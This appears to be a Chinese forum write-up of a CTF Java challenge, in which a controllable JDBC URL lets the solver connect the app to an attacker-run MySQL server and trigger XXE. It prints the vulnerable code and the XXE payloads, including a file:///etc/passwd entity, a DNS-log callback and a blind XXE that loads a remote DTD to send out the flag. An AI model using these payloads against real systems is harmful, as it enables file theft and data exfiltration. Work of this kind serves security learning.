记一次从 sql 到 xml 的 java 题
1341025112991831 发表于 四川 CTF 472浏览 · 2024-11-20 14:31

记一次从 sql 到 xml 的 java 题

前言

打一个比赛的时候做到了一个 java 题,这里也是记录一下,感觉思路还是不错的

解题

首先进入题目

然后看到代码部分
给的代码不多

package org.example.ezjava;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.SQLXML;
import java.sql.Statement;
import javax.xml.transform.dom.DOMSource;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: MainController.class */
public class MainController {
    @GetMapping({"/"})
    public String index() {
        return "Hello World, nothing here. What? You need flag? Take a look at '/vuln'.";
    }

    @PostMapping({"/vuln"})
    public String vuln(@RequestParam(value = "jdbc_conn", defaultValue = "") String jdbc_conn) throws SQLException, ClassNotFoundException {
        Class.forName("com.mysql.cj.jdbc.Driver");
        Connection connection = DriverManager.getConnection(jdbc_conn);
        if (connection != null) {
            Statement statement = connection.createStatement();
            statement.execute("select * from exp");
            ResultSet resultSet = statement.getResultSet();
            while (resultSet.next()) {
                SQLXML sqlxml = resultSet.getSQLXML("content");
                sqlxml.getSource(DOMSource.class);
            }
            return "O.o你拿到flag了吗?";
        }
        return "O.o你拿到flag了吗?";
    }

    @GetMapping({"/vuln"})
    public String vuln_get() {
        return "<h1>ᕕ( ᐛ )ᕗ Web Yes! Java No!</h1><p>为什么是Java?Jar包能干嘛?JDBC依赖是什么?CVE是什么?XXE是什么?怎么读取到Flag?SQL是什么?上哪去搭恶意服务?读了Flag却看不到?那咋办呢o.O?</p>";
    }
}

主要逻辑是在 vuln 路由,我们可以控制的是 jdbc 的 url

我们可以进行 jdbc 的连接,然后查询出 exp,用于

SQLXML sqlxml = resultSet.getSQLXML("content");
sqlxml.getSource(DOMSource.class);

我刚开始确实不知道这是打 xxe

先简单跟进一下 getSource 方法

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
    try {
        this.checkClosed();
        this.checkWorkingWithResult();
        InputSource reader;
        if (clazz != null && !clazz.equals(SAXSource.class)) {
            SQLException sqlEx;
            if (clazz.equals(DOMSource.class)) {
                try {
                    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
                    builderFactory.setNamespaceAware(true);
                    DocumentBuilder builder = builderFactory.newDocumentBuilder();
                    InputSource inputSource = null;
                    if (this.fromResultSet) {
                        inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
                    } else {
                        inputSource = new InputSource(new StringReader(this.stringRep));
                    }

                    return new DOMSource(builder.parse(inputSource));
                } catch (Throwable var6) {
                    sqlEx = SQLError.createSQLException(var6.getMessage(), "S1009", var6, this.exceptionInterceptor);
                    throw sqlEx;
                }
            } else {
                Object reader;
                if (clazz.equals(StreamSource.class)) {
                    reader = null;
                    if (this.fromResultSet) {
                        reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
                    } else {
                        reader = new StringReader(this.stringRep);
                    }

                    return new StreamSource((Reader)reader);
                } else if (clazz.equals(StAXSource.class)) {
                    try {
                        reader = null;
                        if (this.fromResultSet) {
                            reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
                        } else {
                            reader = new StringReader(this.stringRep);
                        }

                        return new StAXSource(this.inputFactory.createXMLStreamReader((Reader)reader));
                    } catch (XMLStreamException var7) {
                        sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
                        throw sqlEx;
                    }
                } else {
                    throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[]{clazz.toString()}), "S1009", this.exceptionInterceptor);
                }
            }
        } else {
            reader = null;
            if (this.fromResultSet) {
                reader = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
            } else {
                reader = new InputSource(new StringReader(this.stringRep));
            }

            return new SAXSource(reader);
        }
    } catch (CJException var8) {
        throw SQLExceptionsMapping.translateException(var8, this.exceptionInterceptor);
    }
}

方法很长,然后关键的是可以看到解析了 xml 数据格式,而且没有设置任意的过滤,比如禁用外部实体注入啥的

然后 exp 是需要从数据库中提取的,所以我们需要设置一个恶意的 mysql 服务器存放恶意的数据

首先根据代码逻辑,我们需要创建一个 exp 的 table

CREATE TABLE exp (
    id INT AUTO_INCREMENT PRIMARY KEY,
    content XML
);

然后放入我们的恶意数据

这里一开始问的 gpt

INSERT INTO exp (content) VALUES
(
    '<?xml version="1.0" encoding="UTF-8"?>' ||
    '<!DOCTYPE foo [' ||
    '<!ELEMENT foo ANY >' ||
    '<!ENTITY xxe SYSTEM "file:///etc/passwd">' ||
    ']>' ||
    '<foo>&xxe;</foo>'
);

把我们的格式给弄坏了,最后直接把多余的删除就好了,根本不需要什么||的

INSERT INTO exp (content) VALUES
(
  CONCAT(
    '<?xml version="1.0" encoding="UTF-8"?>',
    '<!DOCTYPE foo [',
    '<!ELEMENT foo ANY >',
    '<!ENTITY xxe SYSTEM "http://bc93f473.log.dnslog.sbs.">',
    ']>',
    '<foo>&xxe;</foo>'
  )
);

我这里先测试一下能不能 dns
在输入连接参数的时候又出现了问题

jdbc:mysql://127.0.0.1:3306/dg_test?user=root&password=123456
2024-11-20T20:08:36.831+08:00 ERROR 37228 --- [bindxxe] [nio-9988-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed: java.sql.SQLException: Access denied for user 'root'@'localhost' (using password: NO)] with root cause

问问 gpt 同学

错误信息指出使用 root 用户进行数据库连接时密码没有被正确传递(using password: NO) 表示数据库连接时没有提供密码
这通常是因为 JDBC URL 没有正确包含密码部分或者代码没有正确处理密码的传递

首先排除我的数据库密码问题,说明没有使用??
估计应该是其他问题,应该是 jdbc url 写错了

然后尝试这样

jdbc:mysql://root:123456@127.0.0.1:3306/dg_test

报错更新了

Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed: java.sql.SQLException: The server time zone value '�й���׼ʱ��' is unrecognized or represents more than one time zone. You must configure either the server or JDBC driver (via the 'serverTimezone' configuration property) to use a more specifc time zone value if you want to utilize time zone support.] with root cause

问了后
这个错误的原因是 MySQL 服务器时区设置为 '�й���׼ʱ��'(中文乱码),而 MySQL 驱动程序无法识别该时区,导致连接失败。解决这个问题的方法是显式地设置 JDBC 连接字符串中的 serverTimezone 参数。

然后终于解决了

终于连上了

然后 dns 也有反应

根据他的提示尝试盲注 xxe

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/file.dtd">
%remote;%int;%send;
]>

然后服务器上放置我们的代码

然后监听端口
注意这里的 mysql 需要公网的 mysql 了

得到了我们的 flag

0 条评论
某人
表情
可输入 255